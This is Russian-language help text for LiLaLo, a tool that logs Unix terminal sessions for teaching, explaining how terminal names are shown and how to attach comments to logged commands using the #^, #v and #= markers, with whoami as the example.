Имя терминала, на котором была введена команда, показано в специальном блоке. Этот блок показывается только в том случае, если терминал текущей команды отличается от терминала предыдущей.
Вывод не интересующих вас в настоящий момент элементов журнала, таких как время, имя терминала и других, можно отключить. Для этого нужно воспользоваться формой управления журналом вверху страницы.
Небольшие комментарии к командам можно вставлять прямо из командной строки. Комментарий вводится прямо в командную строку, после символов #^ или #v. Символы ^ и v показывают направление выбора команды, к которой относится комментарий: ^ - к предыдущей, v - к следующей. Например, если в командной строке было введено:
$ whoami
user
$ #^ Интересно, кто я?в журнале это будет выглядеть так:
$ whoami
user
Интересно, кто я? |
Если комментарий содержит несколько строк, его можно вставить в журнал следующим образом:
$ whoami
user
$ cat > /dev/null #^ Интересно, кто я?
Программа whoami выводит имя пользователя, под которым мы зарегистрировались в системе. - Она не может ответить на вопрос о нашем назначении в этом мире.В журнале это будет выглядеть так:
$ whoami user
|
Комментарии, не относящиеся непосредственно ни к какой из команд, добавляются точно таким же способом, только вместо симолов #^ или #v нужно использовать символы #=
1 2 3 4Группы команд, выполненных на разных терминалах, разделяются специальной линией. Под этой линией в правом углу показано имя терминала, на котором выполнялись команды. Для того чтобы посмотреть команды только одного сенса, нужно щёкнуть по этому названию.
LiLaLo (L3) расшифровывается как Live Lab Log.
Программа разработана для повышения эффективности обучения Unix/Linux-системам.
(c) Игорь Чубин, 2004-2008